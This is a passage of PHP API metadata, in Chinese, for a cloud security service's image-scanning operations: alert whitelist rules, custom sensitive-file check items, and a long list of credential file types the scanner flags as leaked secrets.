'规则范围。JSON格式，key取值：'."\n" + .'- **type**：范围类型。'."\n" + .'- **value**：范围值。'."\n" + .'> 该参数不能和Source同时为空，若Source为agentless时，该参数无效。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单来源。取值：'."\n" + .'- **image**：镜像。'."\n" + .'- **agentless**：无代理检测。'."\n" + .'> 该参数不能和Scenarios同时为空。若该参数为agentless时，Scenarios参数无效。', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Conditions', + 'in' => 'query', + 'schema' => [ + 'description' => '规则条件。JSON格式，key取值：'."\n" + .'- **condition**：匹配条件。'."\n" + .'- **type**：匹配类型。'."\n" + .'- **value**：匹配值。', + 'type' => 'string', + 'required' => true, + 'docRequired' => true, + 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e****\\"}]'."\n", + ], + ], + [ + 'name' => 'Note', + 'in' => 'query', + 'schema' => [ + 'description' => '要添加的备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '主键id', + 'description' => '告警处置规则ID，和入参的告警处置ID相同。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '67429', + ], + ], + ], + 'Success' => [ + 'description' => '请求响应结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 67429\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\"\\n}","type":"json"}]', + 'title' => '更新告警处置规则', + ], + 'DeleteImageEventOperation' => [ + 'summary' => '删除告警处置规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'title' => '主键id', + 'description' => '告警处置规则主键。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'docRequired' => true, + 'example' => '1404656', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '主键id', + 'description' => '告警处置规则主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '443496', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '请求唯一标识ID。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\"\\n}","type":"json"}]', + 'title' => '删除告警处置规则', + ], + 'SetSensitiveDefineRuleConfig' => [ + 'summary' => '设置自定义敏感文件检查项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '195349', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义规则配置。key取值：'."\n" + .'- **classKey**：检查项分类关键字。'."\n" + .'- **ruleList**：规则关键字。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"classKey\\": \\"password\\", \\"ruleList\\": [\\"huaweicloud_ak\\", \\"ak_leak\\"]}]', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件检查项来源。取值：'."\n" + .'- **image**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'EnableNewRule', + 'in' => 'query', + 'schema' => [ + 'description' => '新规则是否开启自动检查，只对agentless检查生效。取值：'."\n" + ."\n" + .'- **0**：关闭。'."\n" + ."\n" + .'- **1**：开启。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '自定义配置主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '44616', + ], + ], + ], + 'Success' => [ + 'description' => '请求是否成功。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 44616\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\"\\n}","type":"json"}]', + 'title' => '设置自定义敏感文件检查项', + ], + 'SetImageSensitiveFileStatus' => [ + 'summary' => '设置镜像敏感文件的状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '195580', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'SensitiveFileKey', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件告警类型。取值：'."\n" + ."\n" + .'- **npm_token**：NPM访问令牌'."\n" + .'- **ftp_cfg**：FTP配置'."\n" + .'- **google\\_oauth_key**：Google OAuth Key'."\n" + .'- **planetscale_passwd**：Planetscale密码'."\n" + .'- **github\\_ssh_key**：Github SSH密钥'."\n" + .'- **msbuild\\_publish_profile**：MSBuild publish profile'."\n" + .'- **fastly\\_cdn_token**：Fastly CDN的令牌'."\n" + .'- **ssh\\_private_key**：SSH私钥'."\n" + .'- **aws_cli**：AWS CLI凭证'."\n" + .'- **cpanel_proftpd**：cPanel ProFTPd凭证'."\n" + .'- **postgresql_passwd**：PostgreSQL密码文件'."\n" + .'- **discord\\_client_cred**：Discord客户端凭证'."\n" + .'- **rails_database**：Rails数据库配置'."\n" + .'- **aws\\_access_key**：AWS Access Key'."\n" + .'- **esmtp_cfg**：ESMTP邮件服务器配置'."\n" + .'- **docker\\_registry_cfg**：Docker镜像仓库配置'."\n" + .'- **pem**：PEM'."\n" + .'- **common_cred**：通用凭证'."\n" + .'- **sftp_cfg**：SFTP连接配置'."\n" + .'- **grafana_token**：Grafana令牌'."\n" + .'- **slack_token**：Slack Token'."\n" + .'- **ec\\_private_key**：EC私钥'."\n" + .'- **pypi_token**：PyPI上传Token'."\n" + .'- **finicity_token**：Finicity平台令牌'."\n" + .'- **k8s\\_client_key**：Kubernetes客户端私钥'."\n" + .'- **git_cfg**：Git配置'."\n" + .'- **django_key**：Django密钥'."\n" + .'- **jenkins_ssh**：Jenkins SSH配置文件'."\n" + .'- **openssh\\_private_key**：OPENSSH私钥'."\n" + .'- **square_oauth**：Square OAuth凭证'."\n" + .'- **typeform_token**：Typeform 令牌'."\n" + .'- **common\\_database_cfg**：通用数据库连接配置'."\n" + .'- **wordpress\\_database_cfg**：WordPress数据库配置'."\n" + .'- **googlecloud\\_api_key**：Google Cloud API Key'."\n" + .'- **vscode_sftp**：VSCode SFTP配置'."\n" + .'- **apache_htpasswd**：Apache htpasswd'."\n" + .'- **planetscale_token**：Planetscale令牌'."\n" + .'- **contentful\\_preview_token**：Contentful Preview令牌'."\n" + .'- **php\\_database_cfg**：PHP应用程序数据库密码'."\n" + .'- **atom\\_remote_sync**：Atom远程同步配置'."\n" + .'- **aws\\_session_token**：AWS会话令牌'."\n" + .'- **atom\\_sftp_cfg**：Atom SFTP配置'."\n" + .'- **asana\\_client\\_private_key**：Asana项目管理平台客户端密钥'."\n" + .'- **tencentcloud_ak**：他云SecretId'."\n" + .'- **rsa\\_private_key**：RSA私钥'."\n" + .'- **github\\_personal_token**：Github Personal访问令牌'."\n" + .'- **pgp**：PGP加密文件'."\n" + .'- **stripe_skpk**：Stripe Secret Key'."\n" + .'- **square_token**：Square访问令牌'."\n" + .'- **rails_carrierwave**：Rails Carrierwave文件上传凭证'."\n" + .'- **dbeaver\\_database_cfg**：DBeaver数据库配置'."\n" + .'- **robomongo_cred**：Robomongo凭证'."\n" + .'- **github\\_oauth_token**：Github OAuth访问令牌'."\n" + .'- **pulumi_token**：Pulumi令牌'."\n" + .'- **ventrilo_voip**：Ventrilo VoIP Server配置'."\n" + .'- **macos\\_keychain**：macOS钥匙串'."\n" + .'- **amazon\\_mws_token**：Amazon MWS Token'."\n" + .'- **dynatrace_token**：Dynatrace令牌'."\n" + .'- **java_keystore**：Java密钥库'."\n" + .'- **microsoft_sdf**：Microsoft SQL CE数据库'."\n" + .'- **kubernetes\\_dashboard_cred**：Kubernetes Dashboard用户凭证'."\n" + .'- **atlassian_token**：Atlassian 令牌'."\n" + .'- **rdp**：远程桌面连接RDP'."\n" + .'- **mailgun_key**：Mailgun Webhook Signing Key'."\n" + .'- **mailchimp\\_api_key**：Mailchimp API Key'."\n" + .'- **netrc_cfg**：.netrc配置文件'."\n" + .'- **openvpn_cfg**：OpenVPN客户端配置'."\n" + .'- **github\\_refresh_token**：Github Refresh Token'."\n" + .'- **salesforce**：Salesforce凭证'."\n" + .'- **sendinblue**：Sendinblue令牌'."\n" + .'- **pkcs\\_private_key**：PKCS＃12密钥'."\n" + .'- **rubyonrails_passwd**：Ruby on Rails密码文件'."\n" + .'- **filezilla_ftp**：FileZilla FTP配置'."\n" + .'- **databricks_token**：Databricks令牌'."\n" + .'- **gitLab\\_personal_token**：GitLab Personal访问令牌'."\n" + .'- **rails\\_master_key**：Rails Master Key'."\n" + .'- **sqlite**：SQLite3/SQLite数据库'."\n" + .'- **firefox_logins**：Firefox登录配置'."\n" + .'- **mailgun\\_private_token**：Mailgun Private令牌'."\n" + .'- **joomla_cfg**：Joomla 配置'."\n" + .'- **hashicorp\\_terraform_token**：Hashicorp Terraform Token'."\n" + .'- **jetbrains_ides**：Jetbrains IDEs配置'."\n" + .'- **heroku\\_api_key**：Heroku API key'."\n" + .'- **messagebird_token**：MessageBird令牌'."\n" + .'- **github\\_app_token**：Github App Token'."\n" + .'- **hashicorp\\_vault_token**：Hashicorp Vault Token'."\n" + .'- **pgp\\_private_key**：PGP私钥'."\n" + .'- **sshpasswd**：SSH密码'."\n" + .'- **huaweicloud_ak**：他云Secret Access Key'."\n" + .'- **aws_s3cmd**：AWS S3cmd配置'."\n" + .'- **php_config**：Php配置'."\n" + .'- **common\\_private_key**：常见私钥类型'."\n" + .'- **microsoft_mdf**：Microsoft SQL数据库'."\n" + .'- **mediawiki_cfg**：MediaWiki配置'."\n" + .'- **jenkins_cred**：Jenkins凭证'."\n" + .'- **rubygems_cred**：Rubygems凭证'."\n" + .'- **clojars_token**：Clojars 令牌'."\n" + .'- **phoenix\\_web_passwd**：Phoenix Web凭证'."\n" + .'- **puttygen\\_private_key**：PuTTYgen私钥'."\n" + .'- **google\\_oauth_token**：Google OAuth访问令牌'."\n" + .'- **rubyonrails_cfg**：Ruby On Rails数据库配置'."\n" + .'- **lob\\_api_key**：Lob API Key'."\n" + .'- **pkcs_cred**：PKCS＃12证书'."\n" + .'- **otr\\_private_key**：OTR私钥'."\n" + .'- **contentful\\_delivery_token**：Contentful Delivery令牌'."\n" + .'- **digital\\_ocean_tugboat**：Digital Ocean Tugboat配置'."\n" + .'- **dsa\\_private_key**：DSA私钥'."\n" + .'- **rails\\_app_token**：Rails App令牌'."\n" + .'- **git_cred**：Git用户凭证'."\n" + .'- **newrelic\\_api_key**：New Relic User API Key'."\n" + .'- **github_hub**：存储Github令牌的hub配置'."\n" + .'- **rubygem**：Rubygem令牌', + 'type' => 'string', + 'required' => false, + 'example' => 'pem', + ], + ], + [ + 'name' => 'ImageUuids', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像UUID列表。多项用逗号分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'f382fccd88b94c5c8c864def6815b854,ac32fccd88b94c5c8c864def6815bo9z', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '状态。取值包括：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围。取值：'."\n" + .'- **image**：镜像。'."\n" + .'- **agentless_image**：主机镜像。'."\n" + .'- **agentless_snapshot**：主机快照。'."\n" + .'- **ecs_image**：ecs镜像。'."\n" + .'- **ecs_snapshot**：ecs快照。', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + 'required' => false, + ], + ], + [ + 'name' => 'IdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定要设置状态的敏感文件ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '敏感文件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '数据库主键ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '18551', + ], + ], + ], + 'Success' => [ + 'description' => '是否调用成功。取值：'."\n" + .'- **true**：调用成功。'."\n" + .'- **false**：调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => 'HTTP状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 18551\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246****\\"\\n}","type":"json"}]', + 'title' => '设置镜像敏感文件的状态', + ], + 'AddImageEventOperation' => [ + 'summary' => '增加镜像告警处置规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '195582', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'EventType', + 'in' => 'query', + 'schema' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'required' => true, + 'docRequired' => true, + 'example' => 'sensitiveFile', + ], + ], + [ + 'name' => 'OperationCode', + 'in' => 'query', + 'schema' => [ + 'title' => '操作类型', + 'description' => '操作码。取值：'."\n" + .'- **whitelist**：白名单。', + 'type' => 'string', + 'required' => true, + 'docRequired' => true, + 'example' => 'whitelist', + ], + ], + [ + 'name' => 'Conditions', + 'in' => 'query', + 'schema' => [ + 'title' => '规则条件', + 'description' => '规则条件。JSON格式，key取值：'."\n" + .'- **condition**：匹配条件。'."\n" + .'- **type**：匹配类型。'."\n" + .'- **value**：匹配值。', + 'type' => 'string', + 'required' => true, + 'docRequired' => true, + 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", + ], + ], + [ + 'name' => 'Scenarios', + 'in' => 'query', + 'schema' => [ + 'title' => '规则范围', + 'description' => '规则范围。JSON格式，key取值：'."\n" + .'- **type**：范围类型。'."\n" + .'- **value**：范围值。'."\n" + .'> 该参数不能和**Source**同时为空，若**Source**为**agentless**时，该参数无效。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", + ], + ], + [ + 'name' => 'EventKey', + 'in' => 'query', + 'schema' => [ + 'title' => '告警项关键字', + 'description' => '告警项关键字。', + 'type' => 'string', + 'required' => false, + 'example' => 'PEM', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'title' => '告警项名称', + 'description' => '告警项名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'PEM', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单的来源。取值：'."\n" + .'- **image**：镜像。'."\n" + .'- **agentless**：无代理检测。'."\n" + .'> 该参数不能和**Scenarios**同时为空。若该参数为**agentless**时，**Scenarios**参数无效。', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Note', + 'in' => 'query', + 'schema' => [ + 'description' => '要添加的备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '主键id', + 'description' => '告警处置规则主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '443496', + ], + 'EventType' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'example' => 'sensitiveFile', + ], + 'OperationCode' => [ + 'title' => '操作类型', + 'description' => '操作码。取值：'."\n" + .'- **whitelist**：白名单。', + 'type' => 'string', + 'example' => 'whitelist', + ], + 'Conditions' => [ + 'title' => '规则条件', + 'description' => '规则条件。JSON格式，key取值：'."\n" + .'- **condition**：匹配条件。'."\n" + .'- **type**：匹配类型。'."\n" + .'- **value**：匹配值。', + 'type' => 'string', + 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", + ], + 'Scenarios' => [ + 'title' => '规则范围', + 'description' => '规则范围。JSON格式，key取值：'."\n" + .'- **type**：范围类型。'."\n" + .'- **value**：范围值。', + 'type' => 'string', + 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", + ], + 'EventKey' => [ + 'title' => '告警项关键字', + 'description' => '告警项关键字。', + 'type' => 'string', + 'example' => 'PEM', + ], + 'EventName' => [ + 'title' => '告警项名称', + 'description' => '告警项名称。', + 'type' => 'string', + 'example' => 'PEM', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496,\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"Conditions\\": \\"[{\\\\\\\\\\\\\\"condition\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"MD5\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"0083a31cc0083a31ccf7c10367a6e783e\\\\\\\\\\\\\\"}]\\\\n\\",\\n \\"Scenarios\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\\\n\\",\\n \\"EventKey\\": \\"PEM\\",\\n \\"EventName\\": \\"PEM\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\"\\n}","type":"json"}]', + 'title' => '增加镜像告警处置规则', + ], + 'GetSensitiveDefineRuleConfig' => [ + 'summary' => '查询敏感文件自定义检查项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '195348', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件检查项来源。取值：'."\n" + .'- **image**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'image', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '自定义配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '44616', + ], + 'RuleCount' => [ + 'description' => '检查项总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'SelectedCount' => [ + 'description' => '已选择的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '99', + ], + 'RuleTree' => [ + 'description' => '检查项规则树。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项。', + 'type' => 'object', + 'properties' => [ + 'ClassKey' => [ + 'description' => '检查项分类关键字。', + 'type' => 'string', + 'example' => 'password', + ], + 'ClassName' => [ + 'description' => '检查项分类名称。', + 'type' => 'string', + 'example' => 'password', + ], + 'RuleList' => [ + 'description' => '检查项规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项规则。', + 'type' => 'object', + 'properties' => [ + 'RuleKey' => [ + 'description' => '规则关键字。', + 'type' => 'string', + 'example' => 'huaweicloud_ak', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'huaweicloud_ak', + ], + 'Selected' => [ + 'description' => '是否勾选。取值：'."\n" + .'- **true**：已选。'."\n" + .'- **false**：未选。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'EnableNewRule' => [ + 'description' => '新规则是否开启自动检查，只对agentless检查生效，取值：'."\n" + ."\n" + .'- **0**：关闭。'."\n" + ."\n" + .'- **1**：开启。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + 'Success' => [ + 'description' => '本次查询是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 44616,\\n \\"RuleCount\\": 100,\\n \\"SelectedCount\\": 99,\\n \\"RuleTree\\": [\\n {\\n \\"ClassKey\\": \\"password\\",\\n \\"ClassName\\": \\"password\\",\\n \\"RuleList\\": [\\n {\\n \\"RuleKey\\": \\"huaweicloud_ak\\",\\n \\"RuleName\\": \\"huaweicloud_ak\\",\\n \\"Selected\\": true\\n }\\n ]\\n }\\n ],\\n \\"EnableNewRule\\": 0\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\"\\n}","type":"json"}]', + 'title' => '查询敏感文件自定义检查项', + ], + 'GetHoneypotNodeMetricList' => [ + 'summary' => '查询云蜜罐管理节点的监控数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 